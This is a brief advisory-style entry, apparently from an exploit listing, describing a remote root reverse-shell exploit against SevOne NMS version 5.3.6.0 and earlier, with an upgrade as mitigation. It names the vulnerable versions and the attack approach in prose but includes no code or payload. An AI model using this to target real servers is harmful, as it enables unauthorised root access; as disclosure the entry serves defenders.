SevOne NMS <= 5.3.6.0 reverse shell remote root

This exploit allows an attacker to gain a reverse root shell on a vulnerable SevOne NMS server running version 5.3.6.0 or lower. The exploit works by sending a malicious payload to the SevOne PAS server, which is then executed by the server. The payload contains a python script that creates a reverse shell back to the attacker's machine.

Mitigation:

Upgrade to the latest version of SevOne NMS.
